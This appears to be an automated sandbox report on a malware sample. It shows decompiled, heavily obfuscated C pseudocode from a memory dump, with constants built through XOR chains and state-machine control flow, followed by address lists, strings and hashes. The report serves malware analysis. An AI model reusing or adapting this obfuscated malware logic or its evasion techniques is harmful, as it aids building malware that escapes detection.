				_v2788 = 0xfbffea;
				_t730 = 0x7b;
				_v2788 = _v2788 / _t730;
				_v2788 = _v2788 << 5;
				_v2788 = _v2788 ^ 0x004132b9;
				_v2708 = 0xdb0a5d;
				_t731 = 0x12;
				_v2708 = _v2708 / _t731;
				_v2708 = _v2708 ^ 0x00000a1c;
				_v2852 = 0x3f0908;
				_v2852 = _v2852 + 0xffff3d19;
				_v2852 = _v2852 + 0x216a;
				_v2852 = _v2852 << 7;
				_v2852 = _v2852 ^ 0x1f357218;
				_v2848 = 0x879d68;
				_v2848 = _v2848 >> 5;
				_v2848 = _v2848 ^ 0x8e7a48e6;
				_v2848 = _v2848 ^ 0x8e717cd4;
				_v2836 = 0x4cc355;
				_t732 = 0x72;
				_v2836 = _v2836 * 0x3b;
				_v2836 = _v2836 + 0xf9fe;
				_v2836 = _v2836 ^ 0x11b3464d;
				_v2724 = 0x32042b;
				_v2724 = _v2724 + 0xffffa0e7;
				_v2724 = _v2724 ^ 0x0034b08b;
				_v2748 = 0x4f929e;
				_v2748 = _v2748 / _t732;
				_v2748 = _v2748 ^ 0x000548c3;
				_v2680 = 0x3c8a4b;
				_t733 = 0x68;
				_v2680 = _v2680 / _t733;
				_v2680 = _v2680 ^ 0x00071b83;
				_t684 = E00FAFD73(_t733);
				_t800 = _v2748;
				_t719 = _t684;
				while(1) {
					L1:
					do {
						while(1) {
							L2:
							_t810 = _t801 - 0x8a41319;
							if(_t810 <= 0) {
								break;
							}
							__eflags = _t801 - 0x99be381;
							if(_t801 == 0x99be381) {
								__eflags = E00FACB13( &_v2636, _v2752, _v2760,  &_v2628);
								if(__eflags == 0) {
									_t801 = 0x19f21b3;
									_t688 = 0x4d4dd5f;
									goto L26;
								} else {
									_t801 = 0xd18273e;
									while(1) {
										L1:
										goto L2;
									}
								}
								L30:
							} else {
								__eflags = _t801 - 0xd18273e;
								if(_t801 == 0xd18273e) {
									_t689 = E00FABD61(_v2768, _v2688, _v2632, _v2636, _v2696, _v2776);
									_t800 = _t689;
									_t806 =  &(_t806[4]);
									__eflags = _t689;
									_t688 = 0x4d4dd5f;
									_t801 =  !=  ? 0x4d4dd5f : 0x5dba7cd;
									continue;
								} else {
									__eflags = _t801 - 0xd26e990;
									if(_t801 == 0xd26e990) {
										E00FAAE43(_t800, _v2852, _v2848);
										_pop(_t739);
										_t801 = 0x5dba7cd;
										while(1) {
											L1:
											goto L2;
										}
									} else {
										__eflags = _t801 - 0xdc5bd12;
										if(__eflags != 0) {
											goto L26;
										} else {
											E00FB855C( &_v2084, _v2908, __eflags, _v2736, _v2780, _t739, _v2916);
											 *((short*)(E00FA2B69(_v2892, _v2804,  &_v2084, _v2900))) = 0;
											E00FA3432( &_v524, _v2884, __eflags, _v2728);
											_push(_v2876);
											_push(_v2868);
											_t713 = E00FBCD35(0xfa1404, _v2860, __eflags);
											_pop(_t754);
											E00FB2EA5( &_v524, __eflags,  &_v2084, _t754, _v2844, _v2796, _t713, _v2720, _v2764,  &_v2604);
											E00FB629F(_v2816, _t713, _v2704, _v2712, _v2824);
											_t739 = _t805;
											_t697 = E00FBE5A7(_t739, _v2792, _v2800,  &_v2604, _v2808);
											_t806 =  &(_t806[0x15]);
											__eflags = _t697;
											if(__eflags != 0) {
												_t801 = 0x8a41319;
												while(1) {
													L1:
													goto L2;
												}
											}
										}
									}
								}
							}
							L29:
							return _t697;
							goto L30;
						}
						if(_t810 == 0) {
							_v2624 = E00FB4AB5();
							_t694 = E00FAB01D(_v2692, _v2652, _t693, _v2872);
							_pop(_t742);
							_v2620 = 2 + _t694 * 2;
							_t739 = _v2812;
							_t697 = E00FA5370(_t739, _t719,  &_v2628, _t719, _v2740, _v2676, _t719, _v2656, _v2684, _t742, _t742, _v2924, _v2888, _v2664);
							_t806 =  &(_t806[0xc]);
							__eflags = _t697;
							if(__eflags != 0) {
								_t801 = 0x99be381;
								goto L1;
							}
						} else {
							if(_t801 == 0x14445e2) {
								_push(_t739);
								_t739 =  &_v1044;
								E00FBEA55(_t739, _v2820, __eflags, _v2896, 0, _v2644, 1, _v2788, _v2708, 0);
								_t806 =  &(_t806[8]);
								_t801 = 0xd26e990;
								while(1) {
									L1:
									goto L2;
								}
							} else {
								if(_t801 == 0x19f21b3) {
									return E00FB4A33(_v2748, _v2680, _v2628);
								}
								if(_t801 == 0x2549caa) {
									_t739 = _v2864;
									E00FAB3B4(_t739, _t739, _v2660, _t739, _v2716,  &_v1564, _v2640, _v2744);
									_t806 =  &(_t806[7]);
									_t801 = 0xdc5bd12;
									while(1) {
										L1:
										goto L2;
									}
								} else {
									if(_t801 == _t688) {
										_push(_v2672);
										_push(_v2856);
										E00FBDD54(__eflags,  &_v1044, _v2904, E00FBCD35(0xfa1454, _v2912, __eflags), _t800,  &_v2604, _v2840,  &_v1564, _v2880);
										_t739 = _v2828;
										E00FB629F(_t739, _t702, _v2668, _v2732, _v2772);
										_t806 =  &(_t806[0xd]);
										_t801 = 0x14445e2;
										while(1) {
											L1:
											goto L2;
										}
									} else {
										if(_t801 != 0x5dba7cd) {
											goto L26;
										} else {
											E00FAAE43(_v2636, _v2836, _v2724);
											_pop(_t739);
											_t801 = 0x19f21b3;
											while(1) {
												L1:
												goto L2;
											}
										}
									}
								}
							}
							goto L30;
						}
						goto L29;
						L26:
						__eflags = _t801 - 0x5dc49dc;
					} while (__eflags != 0);
					return _t688;
				}
			}

0x00fb6540
0x00fb6546
0x00fb6550
0x00fb6558
0x00fb6563
0x00fb656e
0x00fb6579
0x00fb6584
0x00fb658f
0x00fb659a
0x00fb65a5
0x00fb65ad
0x00fb65bb
0x00fb65bf
0x00fb65c1
0x00fb65c9
0x00fb65ce
0x00fb65d6
0x00fb65e1
0x00fb65f2
0x00fb65f7
0x00fb6600
0x00fb660b
0x00fb6613
0x00fb661b
0x00fb6623
0x00fb662b
0x00fb6633
0x00fb663e
0x00fb6649
0x00fb6654
0x00fb665f
0x00fb666a
0x00fb6675
0x00fb6680
0x00fb6688
0x00fb6693
0x00fb669b
0x00fb66a3
0x00fb66ab
0x00fb66b3
0x00fb66bb
0x00fb66c6
0x00fb66d1
0x00fb66dc
0x00fb66e7
0x00fb66f2
0x00fb66fd
0x00fb6708
0x00fb6710
0x00fb6718
0x00fb671d
0x00fb6725
0x00fb672d
0x00fb6735
0x00fb673d
0x00fb6745
0x00fb674a
0x00fb6752
0x00fb675d
0x00fb6768
0x00fb6773
0x00fb677e
0x00fb6786
0x00fb678e
0x00fb6797
0x00fb679a
0x00fb679e
0x00fb67a6
0x00fb67ae
0x00fb67be
0x00fb67c3
0x00fb67c9
0x00fb67ce
0x00fb67d6
0x00fb67e1
0x00fb67ec
0x00fb67f7
0x00fb67ff
0x00fb6807
0x00fb680f
0x00fb6817
0x00fb681f
0x00fb682c
0x00fb682f
0x00fb6838
0x00fb6844
0x00fb6848
0x00fb6850
0x00fb685c
0x00fb6861
0x00fb686c
0x00fb686d
0x00fb6871
0x00fb6875
0x00fb687d
0x00fb6885
0x00fb688d
0x00fb6895
0x00fb689d
0x00fb68a5
0x00fb68aa
0x00fb68b2
0x00fb68ba
0x00fb68cd
0x00fb68dc
0x00fb68e3
0x00fb68ee
0x00fb6901
0x00fb6908
0x00fb6913
0x00fb691e
0x00fb6931
0x00fb6938
0x00fb6943
0x00fb694b
0x00fb6959
0x00fb695d
0x00fb6965
0x00fb6970
0x00fb697b
0x00fb6986
0x00fb6991
0x00fb6999
0x00fb69a4
0x00fb69ac
0x00fb69b4
0x00fb69b9
0x00fb69c3
0x00fb69ce
0x00fb69d9
0x00fb69e1
0x00fb69ec
0x00fb69f7
0x00fb69fe
0x00fb6a09
0x00fb6a14
0x00fb6a1f
0x00fb6a26
0x00fb6a31
0x00fb6a3c
0x00fb6a47
0x00fb6a52
0x00fb6a5d
0x00fb6a68
0x00fb6a73
0x00fb6a7e
0x00fb6a89
0x00fb6a94
0x00fb6a9f
0x00fb6aaa
0x00fb6ab5
0x00fb6ac0
0x00fb6acb
0x00fb6ada
0x00fb6adb
0x00fb6adf
0x00fb6ae4
0x00fb6aec
0x00fb6af4
0x00fb6b07
0x00fb6b0e
0x00fb6b16
0x00fb6b21
0x00fb6b2c
0x00fb6b37
0x00fb6b42
0x00fb6b4d
0x00fb6b58
0x00fb6b63
0x00fb6b76
0x00fb6b7d
0x00fb6b88
0x00fb6b90
0x00fb6b94
0x00fb6b9c
0x00fb6ba4
0x00fb6bac
0x00fb6bb4
0x00fb6bbe
0x00fb6bc2
0x00fb6bc7
0x00fb6bcf
0x00fb6be3
0x00fb6bea
0x00fb6bf5
0x00fb6c00
0x00fb6c13
0x00fb6c1a
0x00fb6c25
0x00fb6c30
0x00fb6c3b
0x00fb6c46
0x00fb6c51
0x00fb6c5c
0x00fb6c67
0x00fb6c72
0x00fb6c7d
0x00fb6c88
0x00fb6c93
0x00fb6ca0
0x00fb6cab
0x00fb6cb6
0x00fb6cc1
0x00fb6cd6
0x00fb6cd9
0x00fb6ce0
0x00fb6ceb
0x00fb6cf6
0x00fb6cfe
0x00fb6d06
0x00fb6d0e
0x00fb6d16
0x00fb6d1e
0x00fb6d2b
0x00fb6d2f
0x00fb6d34
0x00fb6d3c
0x00fb6d44
0x00fb6d4f
0x00fb6d57
0x00fb6d62
0x00fb6d6d
0x00fb6d78
0x00fb6d83
0x00fb6d8b
0x00fb6d93
0x00fb6d98
0x00fb6da0
0x00fb6da8
0x00fb6db0
0x00fb6db5
0x00fb6dbd
0x00fb6dc5
0x00fb6dcd
0x00fb6ddb
0x00fb6ddc
0x00fb6de2
0x00fb6dea
0x00fb6df2
0x00fb6e02
0x00fb6e06
0x00fb6e0b
0x00fb6e13
0x00fb6e1e
0x00fb6e25
0x00fb6e30
0x00fb6e3b
0x00fb6e46
0x00fb6e51
0x00fb6e5c
0x00fb6e67
0x00fb6e72
0x00fb6e7d
0x00fb6e85
0x00fb6e8a
0x00fb6e8f
0x00fb6e97
0x00fb6e9f
0x00fb6ea7
0x00fb6eaf
0x00fb6eb7
0x00fb6ebf
0x00fb6eca
0x00fb6ed5
0x00fb6ee2
0x00fb6ef4
0x00fb6ef9
0x00fb6f02
0x00fb6f0a
0x00fb6f15
0x00fb6f27
0x00fb6f2c
0x00fb6f35
0x00fb6f40
0x00fb6f48
0x00fb6f50
0x00fb6f58
0x00fb6f5d
0x00fb6f65
0x00fb6f6d
0x00fb6f72
0x00fb6f7a
0x00fb6f82
0x00fb6f8f
0x00fb6f92
0x00fb6f96
0x00fb6f9e
0x00fb6fa6
0x00fb6fb1
0x00fb6fbc
0x00fb6fc7
0x00fb6fdd
0x00fb6fe4
0x00fb6fef
0x00fb7001
0x00fb7004
0x00fb700b
0x00fb7021
0x00fb7026
0x00fb702d
0x00fb702f
0x00fb702f
0x00fb7034
0x00fb7034
0x00fb7034
0x00fb7034
0x00fb703a
0x00000000
0x00000000
0x00fb722e
0x00fb7234
0x00fb73f9
0x00fb73fb
0x00fb7407
0x00fb740c
0x00000000
0x00fb73fd
0x00fb73fd
0x00fb702f
0x00fb702f
0x00000000
0x00fb702f
0x00fb702f
0x00000000
0x00fb723a
0x00fb723a
0x00fb7240
0x00fb73b7
0x00fb73bc
0x00fb73be
0x00fb73c1
0x00fb73c8
0x00fb73cd
0x00000000
0x00fb7246
0x00fb7246
0x00fb724c
0x00fb737d
0x00fb7382
0x00fb7383
0x00fb702f
0x00fb702f
0x00000000
0x00fb702f
0x00fb7252
0x00fb7252
0x00fb7258
0x00000000
0x00fb725e
0x00fb727c
0x00fb72aa
0x00fb72b4
0x00fb72c1
0x00fb72c5
0x00fb72cd
0x00fb72d3
0x00fb730f
0x00fb7332
0x00fb7341
0x00fb7359
0x00fb735e
0x00fb7361
0x00fb7363
0x00fb7369
0x00fb702f
0x00fb702f
0x00000000
0x00fb702f
0x00fb702f
0x00fb7363
0x00fb7258
0x00fb724c
0x00fb7240
0x00fb7444
0x00fb7444
0x00000000
0x00fb7444
0x00fb7040
0x00fb71b8
0x00fb71bf
0x00fb71c5
0x00fb71da
0x00fb720b
0x00fb7214
0x00fb7219
0x00fb721c
0x00fb721e
0x00fb7224
0x00000000
0x00fb7224
0x00fb7046
0x00fb704c
0x00fb7152
0x00fb715c
0x00fb7180
0x00fb7185
0x00fb7188
0x00fb702f
0x00fb702f
0x00000000
0x00fb702f
0x00fb7052
0x00fb7058
0x00000000
0x00fb7439
0x00fb7064
0x00fb713c
0x00fb7140
0x00fb7145
0x00fb7148
0x00fb702f
0x00fb702f
0x00000000
0x00fb702f
0x00fb706a
0x00fb706c
0x00fb7099
0x00fb70a5
0x00fb70e1
0x00fb70fd
0x00fb7104
0x00fb7109
0x00fb710c
0x00fb702f
0x00fb702f
0x00000000
0x00fb702f
0x00fb706e
0x00fb7074
0x00000000
0x00fb707a
0x00fb708c
0x00fb7091
0x00fb7092
0x00fb702f
0x00fb702f
0x00000000
0x00fb702f
0x00fb702f
0x00fb7074
0x00fb706c
0x00fb7064
0x00000000
0x00fb704c
0x00000000
0x00fb7411
0x00fb7411
0x00fb7411
0x00000000
0x00fb7034

Strings

5JI, xrefs: 00FB6C46
|, xrefs: 00FB6E13
iX8, xrefs: 00FB6ACB
xf), xrefs: 00FB695D
;, xrefs: 00FB67AE
j!, xrefs: 00FB6F50

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: 5JI$;$iX8$j!$xf)$|
API String ID: 0-167986053
Opcode ID: a9b48d7de177667cd6240703cff6589c1a4e332d171b16e62f51d7af63413fb0
Instruction ID: 82ccb84f3f0672c698a161c7df3ed903e28c79da56a3286c81c575df9cb999c5
Opcode Fuzzy Hash: a9b48d7de177667cd6240703cff6589c1a4e332d171b16e62f51d7af63413fb0
Instruction Fuzzy Hash: 8572FB7150C3819FD3B8DF22C54AB8BBBE1BBC5308F00891DE29A96260D7B59909DF53

Uniqueness

Uniqueness Score: -1.00%

Function 00FAC0EA, Relevance: 7.9, Strings: 6, Instructions: 377
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E00FAC0EA(signed int __ecx) {
				char _v520;
				char _v1040;
				char _v1560;
				char _v2080;
				char _v2600;
				short _v2604;
				intOrPtr _v2608;
				signed int _v2612;
				signed int _v2616;
				signed int _v2620;
				signed int _v2624;
				signed int _v2628;
				signed int _v2632;
				signed int _v2636;
				signed int _v2640;
				signed int _v2644;
				signed int _v2648;
				signed int _v2652;
				signed int _v2656;
				signed int _v2660;
				signed int _v2664;
				signed int _v2668;
				signed int _v2672;
				signed int _v2676;
				signed int _v2680;
				signed int _v2684;
				signed int _v2688;
				signed int _v2692;
				signed int _v2696;
				signed int _v2700;
				signed int _v2704;
				signed int _v2708;
				signed int _v2712;
				signed int _v2716;
				signed int _v2720;
				signed int _v2724;
				signed int _v2728;
				signed int _v2732;
				signed int _v2736;
				signed int _v2740;
				signed int _v2744;
				signed int _v2748;
				signed int _v2752;
				signed int _v2756;
				signed int _v2760;
				signed int _v2764;
				unsigned int _v2768;
				signed int _v2772;
				signed int _v2776;
				signed int _v2780;
				signed int _v2784;
				signed int _v2788;
				signed int _v2792;
				signed int _t457;
				signed int _t476;
				signed int _t479;
				signed int _t480;
				signed int _t481;
				signed int _t482;
				signed int _t483;
				signed int _t484;
				signed int _t485;
				signed int _t486;
				signed int _t535;
				void* _t536;
				signed int* _t540;

				_t540 =  &_v2792;
				_v2608 = 0xc2e830;
				_v2604 = 0;
				_v2620 = 0xf51a3;
				_t476 = 0x67;
				_v2620 = _v2620 * 0x7f;
				_t535 = __ecx;
				_v2620 = _v2620 ^ 0x07997ff4;
				_t536 = 0xe76a3a8;
				_v2760 = 0x48c27b;
				_v2760 = _v2760 + 0xffff36b1;
				_t479 = 0x48;
				_v2760 = _v2760 * 0x3f;
				_v2760 = _v2760 << 0xc;
				_v2760 = _v2760 ^ 0x651f7ebc;
				_v2612 = 0xfc3500;
				_v2612 = _v2612 / _t476;
				_v2612 = _v2612 ^ 0x00079610;
				_v2672 = 0xb4b661;
				_v2672 = _v2672 + 0xa6;
				_v2672 = _v2672 ^ 0x00b9a64a;
				_v2616 = 0x62280e;
				_v2616 = _v2616 + 0xffff1eda;
				_v2616 = _v2616 ^ 0x0067e11b;
				_v2784 = 0x1290e3;
				_v2784 = _v2784 + 0x3f36;
				_v2784 = _v2784 * 0x61;
				_v2784 = _v2784 * 0x2b;
				_v2784 = _v2784 ^ 0x32806e0c;
				_v2664 = 0x6cde68;
				_v2664 = _v2664 + 0xffffaa7c;
				_v2664 = _v2664 ^ 0x0062140e;
				_v2700 = 0xdf7730;
				_v2700 = _v2700 ^ 0x86f4d2b7;
				_v2700 = _v2700 ^ 0x7459e253;
				_v2700 = _v2700 ^ 0xf27d5fa1;
				_v2744 = 0xb5ff53;
				_v2744 = _v2744 + 0x39dd;
				_v2744 = _v2744 / _t479;
				_v2744 = _v2744 ^ 0x3b8c39c6;
				_v2744 = _v2744 ^ 0x3b854486;
				_v2720 = 0xab11bb;
				_v2720 = _v2720 / _t476;
				_v2720 = _v2720 >> 8;
				_v2720 = _v2720 ^ 0x00080df3;
				_v2656 = 0x9a94e2;
				_v2656 = _v2656 | 0x27e9145d;
				_v2656 = _v2656 ^ 0x27f2cc75;
				_v2776 = 0x993637;
				_v2776 = _v2776 ^ 0x9075c8e7;
				_v2776 = _v2776 << 0xe;
				_v2776 = _v2776 ^ 0x48a8215b;
				_v2776 = _v2776 ^ 0x771c2be3;
				_v2624 = 0x82a702;
				_v2624 = _v2624 + 0xffffbd86;
				_v2624 = _v2624 ^ 0x00856afd;
				_v2768 = 0x122ac8;
				_v2768 = _v2768 ^ 0xa223bf20;
				_v2768 = _v2768 + 0xffff9848;
				_v2768 = _v2768 >> 9;
				_v2768 = _v2768 ^ 0x005ed417;
				_v2648 = 0x87510a;
				_t480 = 0x5c;
				_v2648 = _v2648 / _t480;
				_v2648 = _v2648 ^ 0x0001815e;
				_v2752 = 0x323d28;
				_v2752 = _v2752 << 3;
				_v2752 = _v2752 ^ 0x3d7f47dd;
				_t481 = 0x1e;
				_v2752 = _v2752 / _t481;
				_v2752 = _v2752 ^ 0x020ee85d;
				_v2688 = 0xebaf12;
				_t482 = 0x25;
				_v2688 = _v2688 * 0x4a;
				_v2688 = _v2688 + 0xffff3d77;
				_v2688 = _v2688 ^ 0x4418f2bb;
				_v2680 = 0xb0b21c;
				_v2680 = _v2680 | 0x50d4595b;
				_v2680 = _v2680 ^ 0x50f45fd3;
				_v2792 = 0x50a368;
				_v2792 = _v2792 / _t482;
				_v2792 = _v2792 >> 7;
				_v2792 = _v2792 << 6;
				_v2792 = _v2792 ^ 0x0002e3f4;
				_v2712 = 0xfb01c9;
				_v2712 = _v2712 >> 0x10;
				_v2712 = _v2712 ^ 0x88d7bdd4;
				_v2712 = _v2712 ^ 0x88d5db18;
				_v2628 = 0x2c21a7;
				_v2628 = _v2628 ^ 0xc066ec07;
				_v2628 = _v2628 ^ 0xc0478ae0;
				_v2736 = 0xdf4f50;
				_v2736 = _v2736 ^ 0x5d2cf67a;
				_v2736 = _v2736 >> 4;
				_v2736 = _v2736 + 0xffffdc76;
				_v2736 = _v2736 ^ 0x05da4378;
				_v2704 = 0xaf142e;
				_v2704 = _v2704 ^ 0xc2f701c3;
				_v2704 = _v2704 + 0xce28;
				_v2704 = _v2704 ^ 0xc2546cf8;
				_v2696 = 0x7de64;
				_v2696 = _v2696 ^ 0xd20f3d11;
				_v2696 = _v2696 >> 0xf;
				_v2696 = _v2696 ^ 0x000ece64;
				_v2640 = 0x20e284;
				_v2640 = _v2640 / _t482;
				_v2640 = _v2640 ^ 0x00094857;
				_v2780 = 0xa00147;
				_v2780 = _v2780 ^ 0xd8a23c8a;
				_v2780 = _v2780 + 0xe3e1;
				_v2780 = _v2780 >> 5;
				_v2780 = _v2780 ^ 0x06c8715d;
				_v2788 = 0x334aa5;
				_v2788 = _v2788 ^ 0x7b497487;
				_v2788 = _v2788 ^ 0xeb6f8a6d;
				_v2788 = _v2788 | 0x40ad4a39;
				_v2788 = _v2788 ^ 0xd0b57248;
				_v2724 = 0x69a4bf;
				_v2724 = _v2724 ^ 0x02573135;
				_v2724 = _v2724 + 0xffffc79e;
				_v2724 = _v2724 ^ 0x023736b5;
				_v2632 = 0x3d156b;
				_v2632 = _v2632 + 0xffffb0a3;
				_v2632 = _v2632 ^ 0x003266c5;
				_v2756 = 0x62802e;
				_v2756 = _v2756 + 0xffff042b;
				_v2756 = _v2756 + 0x843f;
				_v2756 = _v2756 + 0xffffc6b8;
				_v2756 = _v2756 ^ 0x0060e8a4;
				_v2764 = 0x76b393;
				_v2764 = _v2764 | 0x335760de;
				_t483 = 0x45;
				_v2764 = _v2764 / _t483;
				_v2764 = _v2764 >> 2;
				_v2764 = _v2764 ^ 0x00260b06;
				_v2772 = 0x662dd4;
				_v2772 = _v2772 ^ 0x4e06dec5;
				_v2772 = _v2772 + 0xffffa50b;
				_v2772 = _v2772 + 0x664c;
				_v2772 = _v2772 ^ 0x4e68febc;
				_v2660 = 0x72b7c6;
				_t484 = 0x75;
				_v2660 = _v2660 / _t484;
				_v2660 = _v2660 ^ 0x000a5303;
				_v2748 = 0x5d98b3;
				_t485 = 3;
				_v2748 = _v2748 * 0x7d;
				_v2748 = _v2748 | 0x3b3beecf;
				_v2748 = _v2748 >> 7;
				_v2748 = _v2748 ^ 0x007bcdbb;
				_v2668 = 0xef8e1a;
				_v2668 = _v2668 << 4;
				_v2668 = _v2668 ^ 0x0ef91304;
				_v2676 = 0x1c9dc;
				_v2676 = _v2676 ^ 0x631b5470;
				_v2676 = _v2676 ^ 0x63118315;
				_v2716 = 0xe6297;
				_v2716 = _v2716 >> 5;
				_v2716 = _v2716 + 0xffffa4bc;
				_v2716 = _v2716 ^ 0x0003c002;
				_v2652 = 0x58df06;
				_v2652 = _v2652 + 0x9b1c;
				_v2652 = _v2652 ^ 0x0057e0fb;
				_v2728 = 0xef45c2;
				_v2728 = _v2728 << 2;
				_v2728 = _v2728 / _t485;
				_v2728 = _v2728 ^ 0x013b5353;
				_v2708 = 0xf66a57;
				_t486 = 0x4d;
				_v2708 = _v2708 / _t486;
				_v2708 = _v2708 | 0x016aaa3c;
				_v2708 = _v2708 ^ 0x016da6a4;
				_v2740 = 0xf12740;
				_v2740 = _v2740 >> 0xa;
				_v2740 = _v2740 | 0x0ff71d16;
				_v2740 = _v2740 ^ 0xb9387d97;
				_v2740 = _v2740 ^ 0xb6ca3c25;
				_v2684 = 0x3679f2;
				_v2684 = _v2684 ^ 0x117de90f;
				_v2684 = _v2684 >> 5;
				_v2684 = _v2684 ^ 0x008d015a;
				_v2636 = 0xe27d6a;
				_v2636 = _v2636 << 5;
				_v2636 = _v2636 ^ 0x1c43d9b1;
				_v2732 = 0x82455e;
				_v2732 = _v2732 * 0x2a;
				_v2732 = _v2732 << 1;
				_v2732 = _v2732 | 0x0b6dc2a5;
				_v2732 = _v2732 ^ 0x2bf1cd3e;
				_v2692 = 0xc24a5d;
				_v2692 = _v2692 >> 0x10;
				_v2692 = _v2692 | 0xee236fdb;
				_v2692 = _v2692 ^ 0xee2faf1d;
				_v2644 = 0x14d94f;
				_t487 = 0x39;
				_t457 = _v2644 / _t487;
				_v2644 = _t457;
				_v2644 = _v2644 ^ 0x000dae69;
				do {
					while(_t536 != 0x13254dd) {
						if(_t536 == 0xe76a3a8) {
							_t536 = 0x13254dd;
							continue;
						} else {
							_t548 = _t536 - 0xf9d6351;
							if(_t536 == 0xf9d6351) {
								E00FAB3B4(_v2780, _t487, _v2788, _t487, _v2724,  &_v1040, _v2632, _v2620);
								_push(_v2772);
								_push(_v2764);
								E00FB2EA5( &_v2080, _t548,  &_v1040, 0xfa1494, _v2748, _v2668, E00FBCD35(0xfa1494, _v2756, _t548), _v2676, _v2716,  &_v520);
								E00FB629F(_v2652, _t470, _v2728, _v2708, _v2740);
								return E00FBEA55( &_v520, _v2684, _t548, _v2636, 0, _v2732, 0, _v2692, _v2644, 0);
							}
							goto L9;
						}
						L5:
						return _t457;
					}
					E00FB855C( &_v2600, _v2760, __eflags, _v2612, _v2672, _t487, _v2616);
					 *((short*)(E00FA2B69(_v2784, _v2664,  &_v2600, _v2700))) = 0;
					E00FA3432( &_v1560, _v2744, __eflags, _v2720);
					_push(_v2624);
					_push(_v2776);
					E00FB2EA5( &_v1560, __eflags,  &_v2600, 0xfa1404, _v2648, _v2752, E00FBCD35(0xfa1404, _v2656, __eflags), _v2688, _v2680,  &_v2080);
					E00FB629F(_v2792, _t462, _v2712, _v2628, _v2736);
					_t487 = _t535;
					_t457 = E00FBE5A7(_t535, _v2704, _v2696,  &_v2080, _v2640);
					_t540 =  &(_t540[0x17]);
					__eflags = _t457;
					if(_t457 != 0) {
						_t536 = 0xf9d6351;
						goto L9;
					}
					goto L5;
					L9:
					__eflags = _t536 - 0x7fda310;
				} while (__eflags != 0);
				return _t457;
			}

0x00fac0ea
0x00fac0f0
0x00fac101
0x00fac108
0x00fac11f
0x00fac120
0x00fac127
0x00fac129
0x00fac134
0x00fac139
0x00fac141
0x00fac150
0x00fac151
0x00fac155
0x00fac15a
0x00fac162
0x00fac178
0x00fac17f
0x00fac18a
0x00fac195
0x00fac1a0
0x00fac1ab
0x00fac1b6
0x00fac1c1
0x00fac1cc
0x00fac1d4
0x00fac1e1
0x00fac1ea
0x00fac1ee
0x00fac1f6
0x00fac201
0x00fac20c
0x00fac217
0x00fac21f
0x00fac227
0x00fac22f
0x00fac237
0x00fac23f
0x00fac24f
0x00fac253
0x00fac25b
0x00fac263
0x00fac271
0x00fac275
0x00fac27a
0x00fac282
0x00fac28d
0x00fac298
0x00fac2a3
0x00fac2ab
0x00fac2b3
0x00fac2b8
0x00fac2c0
0x00fac2c8
0x00fac2d3
0x00fac2de
0x00fac2e9
0x00fac2f1
0x00fac2f9
0x00fac301
0x00fac306
0x00fac30e
0x00fac324
0x00fac329
0x00fac330
0x00fac33b
0x00fac343
0x00fac348
0x00fac356
0x00fac35b
0x00fac35f
0x00fac367
0x00fac376
0x00fac377
0x00fac37b
0x00fac383
0x00fac38b
0x00fac396
0x00fac3a1
0x00fac3ac
0x00fac3bc
0x00fac3c0
0x00fac3c5
0x00fac3ca
0x00fac3d2
0x00fac3da
0x00fac3df
0x00fac3e7
0x00fac3ef
0x00fac3fa
0x00fac405
0x00fac410
0x00fac418
0x00fac420
0x00fac425
0x00fac42d
0x00fac435
0x00fac43d
0x00fac445
0x00fac44d
0x00fac455
0x00fac45d
0x00fac465
0x00fac46a
0x00fac472
0x00fac486
0x00fac48d
0x00fac498
0x00fac4a0
0x00fac4a8
0x00fac4b0
0x00fac4b5
0x00fac4bd
0x00fac4c5
0x00fac4cd
0x00fac4d5
0x00fac4dd
0x00fac4e5
0x00fac4ed
0x00fac4f5
0x00fac4fd
0x00fac505
0x00fac510
0x00fac51b
0x00fac526
0x00fac52e
0x00fac536
0x00fac53e
0x00fac548
0x00fac550
0x00fac558
0x00fac566
0x00fac56b
0x00fac571
0x00fac576
0x00fac57e
0x00fac586
0x00fac58e
0x00fac596
0x00fac59e
0x00fac5a6
0x00fac5b8
0x00fac5bd
0x00fac5c6
0x00fac5d1
0x00fac5de
0x00fac5e1
0x00fac5e5
0x00fac5ed
0x00fac5f2
0x00fac5fa
0x00fac605
0x00fac60d
0x00fac618
0x00fac623
0x00fac62e
0x00fac639
0x00fac641
0x00fac646
0x00fac64e
0x00fac656
0x00fac661
0x00fac66c
0x00fac677
0x00fac67f
0x00fac68c
0x00fac690
0x00fac698
0x00fac6a4
0x00fac6a7
0x00fac6ab
0x00fac6b3
0x00fac6bb
0x00fac6c3
0x00fac6c8
0x00fac6d0
0x00fac6d8
0x00fac6e0
0x00fac6e8
0x00fac6f0
0x00fac6f5
0x00fac6fd
0x00fac708
0x00fac710
0x00fac71b
0x00fac728
0x00fac72c
0x00fac730
0x00fac738
0x00fac740
0x00fac748
0x00fac74f
0x00fac75c
0x00fac764
0x00fac778
0x00fac779
0x00fac77b
0x00fac782
0x00fac78d
0x00fac78d
0x00fac79b
0x00fac889
0x00000000
0x00fac7a1
0x00fac7a1
0x00fac7a7
0x00fac7d1
0x00fac7d6
0x00fac7df
0x00fac827
0x00fac844
0x00000000
0x00fac87b
0x00000000
0x00fac7a7
0x00fac888
0x00fac888
0x00fac888
0x00fac8b1
0x00fac8dc
0x00fac8e6
0x00fac8eb
0x00fac8f7
0x00fac942
0x00fac95f
0x00fac972
0x00fac983
0x00fac988
0x00fac98b
0x00fac98d
0x00fac993
0x00000000
0x00fac993
0x00000000
0x00fac998
0x00fac998
0x00fac998
0x00000000

Strings

SYt, xrefs: 00FAC227
(=2, xrefs: 00FAC33B
6?, xrefs: 00FAC1D4
Lf, xrefs: 00FAC596
j}, xrefs: 00FAC6FD
WH, xrefs: 00FAC48D

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: (=2$6?$Lf$SYt$WH$j}
API String ID: 0-1853663992
Opcode ID: c60b1d4b5ca692289fd364a65968aeff98ce1aaa5892bde16fabb5efef316af0
Instruction ID: dee280d276559adfa2d16cdd5d00c6b2888a6edd1aaa2eff58dfeec54bd67e63
Opcode Fuzzy Hash: c60b1d4b5ca692289fd364a65968aeff98ce1aaa5892bde16fabb5efef316af0
Instruction Fuzzy Hash: CC22F37150C3819FD768CF61C58AA8BBBF2BBC5348F108A1DE2D986260D7B58949DF43

Uniqueness

Uniqueness Score: -1.00%

Function 00FA3A6C, Relevance: 7.8, Strings: 6, Instructions: 276
